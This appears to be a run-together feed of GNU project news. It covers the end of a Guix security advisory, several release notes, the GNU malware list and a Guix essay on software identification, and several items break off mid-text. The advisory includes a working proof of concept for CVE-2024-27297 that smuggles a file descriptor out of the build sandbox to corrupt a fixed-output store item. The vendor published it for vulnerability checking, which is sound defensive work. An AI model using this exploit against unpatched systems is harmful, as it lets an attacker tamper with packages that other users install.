where /run/current-system/configuration.scm is the current systemconfiguration but could, of course, be replaced by a systemconfiguration file of a user's choice.
For Guix running as a package manager on other distributions, oneneeds to guix pull with sudo, as the guix-daemon runs as root,and restart the guix-daemon service. For example, on a system usingsystemd to manage services,
sudo --login guix pullsudo systemctl restart guix-daemon.service
Note that for users with their distro's package of Guix (as opposed tohaving used the installscript)you may need to take other steps or upgrade the Guix package as perother packages on your distro. Please consult the relevantdocumentation from your distro or contact the package maintainer foradditional information or questions.
ConclusionOne of the key features and design principles of GNU Guix is to allowunprivileged package management through a secure and reproduciblebuildenvironment.While every effort is made to protect the user and system from anymalicious actors, it is always possible that there are flaws yet to bediscovered, as has happened here. In this case, using the ingredientsof how file descriptors and Unix sockets work even in the isolatedbuild environment allowed for a security vulnerability with moderateimpact.
Our thanks to jade and puckipedia for the original report, and Picnoirfor bringing this to the attention of the GNU Guix securityteam. And a special thanks toLudovic Courtès for a prompt fix and proof of concept.
Note that there are current efforts to rewrite the guix-daemon inGuile by Christopher Baines. For more information and the latest newson this front, please refer to the recent blogpost andthismessageon the guix-develmailing list.
Proof of ConceptBelow is code to check if a guix-daemon is vulnerable to thisexploit. Save this file as fixed-output-derivation-corruption.scmand run following the instructions above, in "Mitigation." Somefurther details and example output can be found on issue#69728
;; Checking for CVE-2024-27297.;; Adapted from <https://hackmd.io/03UGerewRcy3db44JQoWvw>.(use-modules (guix) (guix modules) (guix profiles) (gnu packages) (gnu packages gnupg) (gcrypt hash) ((rnrs bytevectors) #:select (string->utf8)))(define (compiled-c-code name source) (define build-profile (profile (content (specifications->manifest '("gcc-toolchain"))))) (define build (with-extensions (list guile-gcrypt) (with-imported-modules (source-module-closure '((guix build utils) (guix profiles))) #~(begin (use-modules (guix build utils) (guix profiles)) (load-profile #+build-profile) (system* "gcc" "-Wall" "-g" "-O2" #+source "-o" #$output))))) (computed-file name build))(define sender-source (plain-file "sender.c" " #include <sys/socket.h> #include <sys/un.h> #include <stdlib.h> #include <stddef.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> int main(int argc, char **argv) { setvbuf(stdout, NULL, _IOLBF, 0); int sock = socket(AF_UNIX, SOCK_STREAM, 0); // Set up an abstract domain socket path to connect to. struct sockaddr_un data; data.sun_family = AF_UNIX; data.sun_path[0] = 0; strcpy(data.sun_path + 1, \"dihutenosa\"); // Now try to connect, To ensure we work no matter what order we are // executed in, just busyloop here. int res = -1; while (res < 0) { printf(\"attempting connection...\\n\"); res = connect(sock, (const struct sockaddr *)&data, offsetof(struct sockaddr_un, sun_path) + strlen(\"dihutenosa\") + 1); if (res < 0 && errno != ECONNREFUSED) perror(\"connect\"); if (errno != ECONNREFUSED) break; usleep(500000); } // Write our message header. struct msghdr msg = {0}; msg.msg_control = malloc(128); msg.msg_controllen = 128; // Write an SCM_RIGHTS message containing the output path. struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); hdr->cmsg_len = CMSG_LEN(sizeof(int)); hdr->cmsg_level = SOL_SOCKET; hdr->cmsg_type = SCM_RIGHTS; int fd = open(getenv(\"out\"), O_RDWR | O_CREAT, 0640); memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); msg.msg_controllen = CMSG_SPACE(sizeof(int)); // Write a single null byte too. msg.msg_iov = malloc(sizeof(struct iovec)); msg.msg_iov[0].iov_base = \"\"; msg.msg_iov[0].iov_len = 1; msg.msg_iovlen = 1; // Send it to the othher side of this connection. res = sendmsg(sock, &msg, 0); if (res < 0) perror(\"sendmsg\"); int buf; // Wait for the server to close the socket, implying that it has // received the commmand. recv(sock, (void *)&buf, sizeof(int), 0); }"))(define receiver-source (mixed-text-file "receiver.c" " #include <sys/socket.h> #include <sys/un.h> #include <stdlib.h> #include <stddef.h> #include <stdio.h> #include <unistd.h> #include <sys/inotify.h> int main(int argc, char **argv) { int sock = socket(AF_UNIX, SOCK_STREAM, 0); // Bind to the socket. struct sockaddr_un data; data.sun_family = AF_UNIX; data.sun_path[0] = 0; strcpy(data.sun_path + 1, \"dihutenosa\"); int res = bind(sock, (const struct sockaddr *)&data, offsetof(struct sockaddr_un, sun_path) + strlen(\"dihutenosa\") + 1); if (res < 0) perror(\"bind\"); res = listen(sock, 1); if (res < 0) perror(\"listen\"); while (1) { setvbuf(stdout, NULL, _IOLBF, 0); printf(\"accepting connections...\\n\"); int a = accept(sock, 0, 0); if (a < 0) perror(\"accept\"); struct msghdr msg = {0}; msg.msg_control = malloc(128); msg.msg_controllen = 128; // Receive the file descriptor as sent by the smuggler. recvmsg(a, &msg, 0); struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); while (hdr) { if (hdr->cmsg_level == SOL_SOCKET && hdr->cmsg_type == SCM_RIGHTS) { int res; // Grab the copy of the file descriptor. memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int)); printf(\"preparing our hand...\\n\"); ftruncate(res, 0); // Write the expected contents to the file, tricking Nix // into accepting it as matching the fixed-output hash. write(res, \"hello, world\\n\", strlen(\"hello, world\\n\")); // But wait, the file is bigger than this! What could // this code hide? // First, we do a bit of a hack to get a path for the // file descriptor we received. This is necessary because // that file doesn't exist in our mount namespace! char buf[128]; sprintf(buf, \"/proc/self/fd/%d\", res); // Hook up an inotify on that file, so whenever Nix // closes the file, we get notified. int inot = inotify_init(); inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE); // Notify the smuggler that we've set everything up for // the magic trick we're about to do. close(a); // So, before we continue with this code, a trip into Nix // reveals a small flaw in fixed-output derivations. When // storing their output, Nix has to hash them twice. Once // to verify they match the \"flat\" hash of the derivation // and once more after packing the file into the NAR that // gets sent to a binary cache for others to consume. And // there's a very slight window inbetween, where we could // just swap the contents of our file. But the first hash // is still noted down, and Nix will refuse to import our // NAR file. To trick it, we need to write a reference to // a store path that the source code for the smuggler drv // references, to ensure it gets picked up. Continuing... // Wait for the next inotify event to drop: read(inot, buf, 128); // first read + CA check has just been done, Nix is about // to chown the file to root. afterwards, refscanning // happens... // Empty the file, seek to start. ftruncate(res, 0); lseek(res, 0, SEEK_SET); // We swap out the contents! static const char content[] = \"This file has been corrupted!\\n\"; write(res, content, strlen (content)); close(res); printf(\"swaptrick finished, now to wait..\\n\"); return 0; } hdr = CMSG_NXTHDR(&msg, hdr); } close(a); } }"))(define nonce (string-append "-" (number->string (car (gettimeofday)) 16) "-" (number->string (getpid))))(define original-text "This is the original text, before corruption.")(define derivation-that-exfiltrates-fd (computed-file (string-append "derivation-that-exfiltrates-fd" nonce) (with-imported-modules '((guix build utils)) #~(begin (use-modules (guix build utils)) (invoke #+(compiled-c-code "sender" sender-source)) (call-with-output-file #$output (lambda (port) (display #$original-text port))))) #:options `(#:hash-algo sha256 #:hash ,(sha256 (string->utf8 original-text)))))(define derivation-that-grabs-fd (computed-file (string-append "derivation-that-grabs-fd" nonce) #~(begin (open-output-file #$output) ;make sure there's an output (execl #+(compiled-c-code "receiver" receiver-source) "receiver")) #:options `(#:hash-algo sha256 #:hash ,(sha256 #vu8()))))(define check (computed-file "checking-for-vulnerability" #~(begin (use-modules (ice-9 textual-ports)) (mkdir #$output) ;make sure there's an output (format #t "This depends on ~a, which will grab the filedescriptor and corrupt ~a.~%~%" #+derivation-that-grabs-fd #+derivation-that-exfiltrates-fd) (let ((content (call-with-input-file #+derivation-that-exfiltrates-fd get-string-all))) (format #t "Here is what we see in ~a: ~s~%~%" #+derivation-that-exfiltrates-fd content) (if (string=? content #$original-text) (format #t "Failed to corrupt ~a, \your system is safe.~%" #+derivation-that-exfiltrates-fd) (begin (format #t "We managed to corrupt ~a, \meaning that YOUR SYSTEM IS VULNERABLE!~%" #+derivation-that-exfiltrates-fd) (exit 1)))))))check
About GNU GuixGNU Guix is a transactional package managerand an advanced distribution of the GNU system that respects userfreedom.Guix can be used on top of any system running the Hurd or the Linuxkernel, or it can be used as a standalone operating systemdistribution for i686, x86_64, ARMv7, AArch64, and POWER9 machines.
In addition to standard package management features, Guix supportstransactional upgrades and roll-backs, unprivileged packagemanagement, per-user profiles, and garbage collection. When used as astandalone GNU/Linux distribution, Guix offers a declarative,stateless approach to operating system configuration management. Guixis highly customizable and hackable throughGuile programming interfaces andextensions to the Scheme language.
Overview
GNU Hyperbole 9.0.1, the Rhapsody release, is now available on GNU ELPA.
And oh what a release it is: extensive new features, new video
demos, org and org roam integration, Markdown and Org file support in
HyRolo, recursive directory and wildcard file scanning in HyRolo, and
much more.
What's new in this release is extensively described here:
www.gnu.org/s/hyperbole/HY-NEWS.html
Everything back until release 8.0.0 is new since the last major release
announcement (almost a year and a half ago), so updates are extensive.
Hyperbole is like Markdown for hypertext. Hyperbole automatically
recognizes dozens of common patterns in any buffer regardless of mode
and transparently turns them into hyperbuttons you can instantly
activate with a single key. Email addresses, URLs, grep -n outputs,
programming backtraces, sequences of Emacs keys, programming
identifiers, Texinfo and Info cross-references, Org links, Markdown
links and on and on. All you do is load Hyperbole and then your text
comes to life with no extra effort or complex formatting.
But Hyperbole is also a personal information manager with built-in
capabilities of contact management/hierarchical record lookup,
legal-numbered outlines with hyperlinkable views and a unique window
and frame manager. It is even Org-compatible so you can use all of
Org's capabilities together with Hyperbole.
Hyperbole stays out of your way but is always a key press away when
you need it. Like Emacs, Org, Counsel and Helm, Hyperbole has many
different uses, all based around the theme of reducing cognitive load
and improving your everyday information management. It reduces
cognitive load by using a single Action Key, {M-RET}, across many
different contexts to perform the best default action in each.
Hyperbole has always been one of the best documented Emacs packages.
With Version 9 comes excellent test coverage: over 400 automated tests
are run with every update against every major version of Emacs since
version 27, to ensure quality. We hope you'll give it a try.
Videos
If you prefer video introductions, visit the videos linked to below;
otherwise, skip to the next section.
GNU Hyperbole Videos with Web Links* Overview and Demo - Covers all of Hyperbole - Hyperlink timestamps to watch each section: https://youtu.be/WKwZHSbHmPg
* Quick Introduction: https://youtu.be/K1MNUctggwI
* Top 10 ways Hyperbole amps up Emacs: https://youtu.be/BysjfL25Nlc
* Introduction to Buttons: https://youtu.be/zoEht66N2PI
* Linking Personal Info with Implicit Buttons: https://youtu.be/TQ_fG7b1iHI
* Powerful Productivity with Hyperbole and Org: https://youtu.be/BrTpTNEXMyY
* HyRolo, fast contact/hierarchical record viewer: https://youtu.be/xdJGFdgKPFY
* Using Koutline for stream of thought journaling: https://youtu.be/dO-gv898Vmg
* Build a Zettelkasten with HyRolo: https://youtu.be/HdlCK9w-LyQ
* HyControl, fast Emacs frame and window manager: https://youtu.be/M3-aMh1ccJk
* Writing test cases for GNU Hyperbole: https://youtu.be/maNQSKxXIzI
* Find/Web Search: https://youtu.be/8lMlJed0-OM
Installing and Using Hyperbole
To install within GNU Emacs, use:
{M-x package-install RET hyperbole RET}
Hyperbole installs in less than a minute and can be uninstalled even
faster if ever need be. Give it a try.
Then to invoke its minibuffer menu, use:
{C-h h} or {M-x hyperbole RET}
The best way to get a feel for many of its capabilities is to invoke the
all new, interactive FAST-DEMO and explore sections of interest:
{C-h h d d}
To permanently activate Hyperbole in your Emacs initialization file, add
the line:
(hyperbole-mode 1)
Hyperbole is a minor mode that may be disabled at any time with:
The initial injustice of proprietary software often leads to further injustices: malicious functionalities.
The introduction of unjust techniques in nonfree software, such as back doors, DRM, tethering, and others, has become ever more frequent. Nowadays, it is standard practice.
We at the GNU Project show examples of malware that has been introduced in a wide variety of products and dis-services people use everyday, and of companies that make use of these techniques.
Here are our latest additionsFebruary 2024Proprietary Surveillance
Surveillance cameras put in by government A to surveil for it may be surveilling for government B as well. That's because A put in a product made by B with nonfree software.
(Please note that this article misuses the word "hack" to mean "break security.")
January 2024Malware in Cars
Recent autos offer a feature by which the drivers can connect their snoop-phones to the car. That feature snoops on the calls and texts and gives the data to the car manufacturer, and to the state.
A good privacy law would prohibit cars recording this data about the users' activities. But not just this data—lots of other data too.
DRM in Trains
Newag, a Polish railway manufacturer, puts DRM inside trains to prevent third-party repairs.
The train's software contains code to detect if the GPS coordinates are near some third party repairers, or the train has not been running for some time. If yes, the train will be "locked up" (i.e. bricked). It was also possible to unlock it by pressing a secret combination of buttons in the cockpit, but this ability was removed by a manufacturer's software update.
The train will also lock up after a certain date, which is hardcoded in the software.
The company pushes a software update that detects if the DRM code has been bypassed, i.e. the lock should have been engaged but the train is still operational. If yes, the controller cabin screen will display a scary message warning about "copyright violation."
Proprietary Insecurity in LogoFAIL
x86 and ARM based computers shipped with UEFI are potentially vulnerable to a design omission called LogoFAIL. A cracker can replace the BIOS logo with a fake one that contains malicious code. Users can't fix this omission because it is in the nonfree UEFI firmware that users can't replace.
4K UHD Blu-ray Disks, Super Duper Malware
The UHD (Ultra High Definition, also known as 4K) Blu-ray standard involves several types of restrictions, both at the hardware and the software levels, which make “legitimate” playback of UHD Blu-ray media impossible on a PC with free/libre software.
DRM - UHD Blu-ray disks are encrypted with AACS, one of the worst kinds of DRM. Playing them on a PC requires software and hardware that meet stringent proprietary specifications, which developers can only obtain after signing an agreement that explicitly forbids them from disclosing any source code.
Sabotage - UHD Blu-ray disks are loaded with malware of the worst kinds. Not only does playback of these disks on a PC require proprietary software and hardware that enforce AACS, a very nasty DRM, but developers of software players are forbidden from disclosing any source code. The user could also lose the ability to play AACS-restricted disks anytime by attempting to play a new Blu-ray disk.
Tethering - UHD Blu-ray disks are encrypted with keys that must be retrieved from a remote server. This makes repeated updates and internet connections a requirement if the user purchases several UHD Blu-ray disks over time.
Insecurity - Playing UHD Blu-ray disks on a PC requires Intel SGX (Software Guard Extensions), which not only has numerous security vulnerabilities, but also was deprecated and removed from mainstream Intel CPUs in 2022.
Back Doors - Playing UHD Blu-ray disks on a PC requires the Intel Management Engine, which has back doors and cannot be disabled. Every Blu-ray drive also has a back door in its firmware, which allows the AACS-enforcing organization to "revoke" the ability to play any AACS-restricted disk.
Proprietary Interference
Microsoft has been annoying people who wanted to close the proprietary program OneDrive on their computers, forcing them to give the reason why they were closing it. This prompt was removed after public pressure.
This is a reminder that angry users still have the power to make developers of proprietary software remove small annoyances. Don't count on public outcry to make them remove more profitable malware, though. Run away from proprietary software!
Messenger-GTK 0.9.0 Following the new release of "libgnunetchat" there have been some changes regarding the applications utilizing it. So we are pleased to announce the new release of the Messenger-GTK application. This release will be compatible with libgnunetchat 0.3.0 and GNUnet 0.21.0 upwards.
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links may be functionalearly after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/
Noteworthy changes in 0.9.0 * Contacts can be blocked and unblocked to filter chat messages.
* Requests for permission to use a camera, autostart the application and running it in background.
* Camera sensors can be selected to exchange contact information.
A detailed list of changes can be found in the ChangeLog .
Known Issues * Chats still require a reliable connection between GNUnet peers. So this still depends on the upcoming NAT traversal to be used outside of local networks for most users (see #5710 ).
* File sharing via the FS service should work in a GNUnet single-user setup but a multi-user setup breaks it (see #7355 )
In addition to this list, you may also want to consult our bug tracker at bugs.gnunet.org .
messenger-cli 0.2.0 There's also a new release of the terminal application using the GNUnet Messenger service. This release will ensure compatibility with changes in libgnunetchat 0.3.0 and GNUnet 0.21.0.
We need your help to make the world's premier gathering of free software enthusiasts a success. Would you like to volunteer at LibrePlanet 2024 and play an important part in making the conference a unique experience?
libgnunetchat 0.3.0 released We are pleased to announce the release of libgnunetchat 0.3.0.
This is a major new release bringing compatibility with the major changes in the Messenger service from latest GNUnet release 0.21.0 adding new message kinds, adjusting message processing and key management. This release will also require your GNUnet to be at least 0.21.0 because of that.
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links may be functionalearly after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/
Noteworthy changes in 0.3.0 * This release requires the GNUnet Messenger Service 0.3!
* It allows ticket management for tickets sent from contacts.
* Deletions or other updates of messages result in separate event calls.
* It is possible to tag messages or contacts.
* Invitations can be rejected via tag messages.
* Contacts can be blocked or unblocked which results in filtering messages.
* Processing of messages is ensured by enforcing logical order of callbacks while querying old messages.
* Private messages are readable to its sender.
* Messages provide information about its recipient.
* Logouts get processed on application level on exit.
* Delays message callbacks depending on message kind (deletion with custom delay).
* New debug tools are available to visualize the message graph.
* Add test case for message receivement.
* Multiple issues are fixed.
A detailed list of changes can be found in the ChangeLog .
GNUnet 0.21.0 released We are pleased to announce the release of GNUnet 0.21.0.
GNUnet is an alternative network stack for building secure, decentralized and privacy-preserving distributed applications. Our goal is to replace the old insecure Internet protocol stack. Starting from an application for secure publication of files, it has grown to include all kinds of basic protocol components and applications towards the creation of a GNU internet.
This release marks a noteworthy milestone in that it includes a completely new transport layer . It lays the groundwork for fixing some major design issues and may also already alleviate a variety of issues seen in previous releases related to connectivity. This change also deprecates our testbed and ATS subsystem.
This is a new major release. It breaks protocol compatibility with the 0.20.x versions. Please be aware that Git master is thus henceforth (and has been for a while) INCOMPATIBLE with the 0.20.x GNUnet network, and interactions between old and new peers will result in issues. In terms of usability, users should be aware that there are still a number of known open issues in particular with respect to ease of use, but also some critical privacy issues especially for mobile users. Also, the nascent network is tiny and thus unlikely to provide good anonymity or extensive amounts of interesting information. As a result, the 0.21.0 release is still only suitable for early adopters with some reasonable pain tolerance .
Download links * gnunet-0.21.0.tar.gz ( signature )
* gnunet-0.21.0-meson.tar.gz ( signature ) NEW: Test tarball made using the meson build system.
* gnunet-gtk-0.21.0.tar.gz ( signature )
* gnunet-fuse-0.21.0.tar.gz ( signature )
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links might be functional early after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/
Changes A detailed list of changes can be found in the git log , the NEWS andthe bug tracker .
Known Issues * There are known major design issues in the CORE subsystems which will need to be addressed in the future to achieve acceptable usability, performance and security.
* There are known moderate implementation limitations in CADET that negatively impact performance.
* There are known moderate design issues in FS that also impact usability and performance.
* There are minor implementation limitations in SET that create unnecessary attack surface for availability.
* The RPS subsystem remains experimental.
In addition to this list, you may also want to consult our bug tracker at bugs.gnunet.org which lists about 190 more specific issues.
Thanks This release was the work of many people. The following people contributed code and were thus easily identified:Christian Grothoff, t3sserakt, TheJackiMonster, Pedram Fardzadeh, dvn, Sebastian Nadler and Martin Schanzenbach.
What does it take to “identify software”? How can we tell what softwareis running on a machine to determine, for example, what securityvulnerabilities might affect it?
In October 2023, the US Cybersecurity and Infrastructure Security Agency(CISA) published a white paper entitled Software IdentificationEcosystem OptionAnalysisthat looks at existing options to address these questions. Thepublication was followed by a request forcomments; ourcommentas Guix developers didn’t make it on time to be published, but we’d liketo share it here.
Software identification for cybersecurity purposes is a crucial topic,as the white paper explains in its introduction:
Effective vulnerability management requires software to be trackablein a way that allows correlation with other information such as knownvulnerabilities […]. This correlation is only possible when differentcybersecurity professionals know they are talking about the samesoftware.
The Common Platform Enumeration(CPE)standard has been designed to fill that role; it is used to identifysoftware as part of the well-known Common Vulnerabilities and Exposures(CVE)process. But CPE is showing its limits as an extrinsic identificationmechanism: the human-readable identifiers chosen by CPE fail to capturethe complexity of what “software” is.
We think functional software deployment as implemented by Nix and Guix,coupled with the source code identification work carried out by SoftwareHeritage, provides a unique perspective on these matters.
On Software IdentificationThe Software Identification Ecosystem Option Analysis white paperreleased by CISA in October 2023 studies options towards the definitionof a software identification ecosystem that can be used across thecomplete, global software space for all key cybersecurity use cases.
Our experience lies in the design and development ofGNU Guix, a package manager, software deploymenttool, and GNU/Linux distribution, which emphasizes three key elements:reproducibility, provenance tracking, and auditability. We explainin the following sections our approach and how it relates to the goalstated in the aforementioned white paper.
Guix produces binary artifacts of varying complexity from source code:package binaries, application bundles (container images to be consumedby Docker and related tools), system installations, system bundles(container and virtual machine images).
All these artifacts qualify as “software” and so does source code. Someof this “software” comes from well-identified upstream packages,sometimes with modifications added downstream by packagers (patches);binary artifacts themselves are the byproduct of a build process wherethe package manager uses other binary artifacts it previously built(compilers, libraries, etc.) along with more source code (the packagedefinition) to build them. How can one identify “software” in thatsense?
Software is dual: it exists in source form and in binary,machine-executable form. The latter is the outcome of a complexcomputational process taking source code and intermediary binaries asinput.
Our thesis can be summarized as follows:
We consider that the requirements for source code identifiers differfrom the requirements to identify binary artifacts.
Our view, embodied in GNU Guix, is that:
Source code can be identified in an unambiguous anddistributed fashion through inherent identifiers such ascryptographic hashes.
Binary artifacts, instead, need to be the byproduct of acomprehensive and verifiable build process itself available assource code.
In the next sections, to clarify the context of this statement, we showhow Guix identifies source code, how it defines the source-to-binarypath and ensures its verifiability, and how it provides provenancetracking.
Source Code IdentificationGuix includes packagedefinitionsfor almost 30,000 packages. Each package definition identifies itsorigin—its“main” source code as well as patches. The origin iscontent-addressed: it includes a SHA256 cryptographic hash of thecode (an inherent identifier), along with a primary URL to downloadit.
Since source is content-addressed, the URL can be thought of as a hint.Indeed, we connected Guix to the SoftwareHeritage source code archive: whensource code vanishes from its original URL, Guix falls back todownloading it from the archive. This is made possible thanks to the useof inherent (or intrinsic) identifiers both by Guix and SoftwareHeritage.
More information can be found in this 2019 blogpostand in the documents of the Software Hash Identifiers(SWHID) working group.
Reproducible BuildsGuix provides a verifiable path from source code to binaries byensuring reproducible builds. Toachieve that, Guix builds upon the pioneering research work of EelcoDolstra that led to the design of the Nix packagemanager, with which it shares the same conceptualfoundation.
Namely, Guix relies on hermetic builds: builds are performed inisolated environments that contain nothing but explicitly-declareddependencies—where a “dependency” can be the output of another buildprocess or source code, including build scripts and patches.
An implication is that builds can be verified independently. Forinstance, for a given version of Guix, guix build gccshould produce the exact same binary, bit-for-bit. To facilitateindependent verification, guix challenge gcc compares thebinary artifacts of the GNU Compiler Collection (GCC) as built andpublished by different parties. Users can also compare to a local buildwith guix build gcc --check.
As with Nix, build processes are identified by derivations, which arelow-level, content-addressed build instructions; derivations may referto other derivations and to source code. For instance,/gnu/store/c9fqrmabz5nrm2arqqg4ha8jzmv0kc2f-gcc-11.3.0.drvuniquely identifies the derivation to build a specific variant ofversion 11.3.0 of the GNU Compiler Collection (GCC). Changing thepackage definition—patches being applied, build flags, set ofdependencies—, or similarly changing one of the packages it dependson, leads to a different derivation (more information can be found inEelco Dolstra's PhDthesis).
Derivations form a graph that captures the entirety of the buildprocesses leading to a binary artifact. In contrast, mere packagename/version pairs such as gcc 11.3.0 fail to capture thebreadth and depth elements that lead to a binary artifact. This is ashortcoming of systems such as the Common Platform Enumeration (CPE)standard: it fails to express whether a vulnerability that applies togcc 11.3.0 applies to it regardless of how it was built,patched, and configured, or whether certain conditions are required.
Full-Source BootstrapReproducible builds alone cannot ensure the source-to-binarycorrespondence: the compiler could contain a backdoor, as demonstratedby Ken Thompson in Reflections on Trusting Trust. To address that,Guix goes further by implementing so-called full-source bootstrap:for the first time, literally every package in the distribution is builtfrom source code, starting from a very small binaryseed.This gives an unprecedented level of transparency, allowing code to beaudited at all levels, and improving robustness against the“trusting-trust attack” described by Ken Thompson.
The European Union recognized the importance of this work through anNLnet Privacy & Trust Enhancing Technologies (NGI0 PET)grant allocated in2021 to Jan Nieuwenhuizen to further work on full-source bootstrap inGNU Guix, GNU Mes, and related projects, followed by anothergrant in 2022 to expandsupport to the Arm and RISC-V CPU architectures.
Provenance TrackingWe define provenance tracking as the ability to map a binary artifactback to its complete corresponding source. Provenance tracking isnecessary to allow the recipient of a binary artifact to access thecorresponding source code and to verify the source/binary correspondenceif they wish to do so.
Theguix packcommand can be used to build, for instance, containers images. Runningguix pack -f docker python --save-provenance produces aself-describing Docker image containing the binaries of Python and itsrun-time dependencies. The image is self-describing because--save-provenance flag leads to the inclusion of amanifest that describes which revision of Guix was used to producethis binary. A third party can retrieve this revision of Guix and fromthere view the entire build dependency graph of Python, view its sourcecode and any patches that were applied, and recursively for itsdependencies.
To summarize, capturing the revision of Guix that was used is all ittakes to reproduce a specific binary artifact. This is illustrated bythe time-machinecommand.The example below deploys, at any time on any machine, the specificbuild artifact of the python package as it was defined in this Guixcommit:
guix time-machine -q --commit=d3c3922a8f5d50855165941e19a204d32469006f \ -- install python
In other words, because Guix itself defines how artifacts are built,the revision of the Guix source coupled with the package nameunambiguously identify the package’s binary artifact. Asscientists, we build on this property to achieve reproducible researchworkflows, as explained in this 2022 article in Nature ScientificData; as engineers, wevalue this property to analyze the systems we are running and determinewhich known vulnerabilities and bugs apply.
Again, a software bill of materials (SBOM) written as a mere list ofpackage name/version pairs would fail to capture as much information.The Artifact Dependency Graph (ADG) ofOmniBOR, while less ambiguous, falls short intwo ways: it is too fine-grained for typical cybersecurity applications(at the level of individual source files), and it only captures thealleged source/binary correspondence of individual files but not theprocess to go from source to binary.
ConclusionsInherent identifiers lend themselves well to unambiguous source codeidentification, as demonstrated by Software Heritage, Guix, and Nix.
However, we believe binary artifacts should instead be treated as theresult of a computational process; it is that process that needs to befully captured to support independent verification of thesource/binary correspondence. For cybersecurity purposes, recipientsof a binary artifact must be able to be map it back to its source code(provenance tracking), with the additional guarantee that they must beable to reproduce the entire build process to verify the source/binarycorrespondence (reproducible builds and full-source bootstrap). Aslong as binary artifacts result from a reproducible build process,itself described as source code, identifying binary artifacts boilsdown to identifying the source code of their build process.
These ideas are developed in the 2022 scientific paper Building aSecure Software Supply Chain withGNU Guix
Examples for sessions on cultivating community we are looking forward to are:
"Fostering and renewing community in a long-lived free software project" by T. Kim Nguyen;
"Empowering youth in the digital age: A path to success" by Leonardo Champion;
"Connecting community organizations and technological activists for software freedom" by Christina Haralanova;
"Hosting freedom - A behind-the-scenes tour with the Savannah Hackers" by Corwin Brust; or
"It is easy to contribute to GNU" by Wensheng Xie.
I will be talking there. If you have anything to say, please let me know.
Please
https://my.fsf.org/civicrm/event/info?reset=1&id=125
or
https://my.fsf.org/civicrm/event/info?reset=1&id=126
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQL
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
A minor bugfix release, mostly fixes missing dwg2ps.1
See https://www.gnu.org/software/libredwg/ and https://git.savannah.gnu.org/cgit/libredwg.git/tree/NEWS?h=0.13.3
Here are the compressed sources:
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.3.tar.gz (20.1MB)
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.3.tar.xz (10.1MB)
Here are the GPG detached signatures[*]:
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.3.tar.gz.sig
http://ftp.gnu.org/gnu/libredwg/libredwg-0.13.3.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Here are more binaries:
https://github.com/LibreDWG/libredwg/releases/tag/0.13.3
Here are the SHA256 checksums:
[*] Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify libredwg-0.13.3.tar.gz.sig
If that command fails because you don't have the required public key,
then run this command to import it:
24 February 2024 Unifont 15.1.05 is now available. This release adds the 222 CJK Unified Ideographs Extension D glyphs (U+2B740..U+2B81D) and 335 Plane 2 and Plane 3 common Cantonese ideographs, as well as other additions amounting to almost 600 ideograph additions, from Boris Zhang, Yzy32767, and others.
This release also replaces the Hangul blocks outside the Hangul Syllables range with new glyphs from Ho-seok Ee that are now consistent with the style of the Hangul Syllables glyphs.
Other minor changes are also included. Details are in the ChangeLog file.
This release no longer builds TrueType fonts by default, as announced over the past year. They have been replaced with their OpenType equivalents. TrueType fonts can still be built manually by typing "make truetype" in the font directory.
Download from https://ftp.gnu.org/gnu/libunistring/libunistring-1.2.tar.gz
This is a stable release.
New in this release:
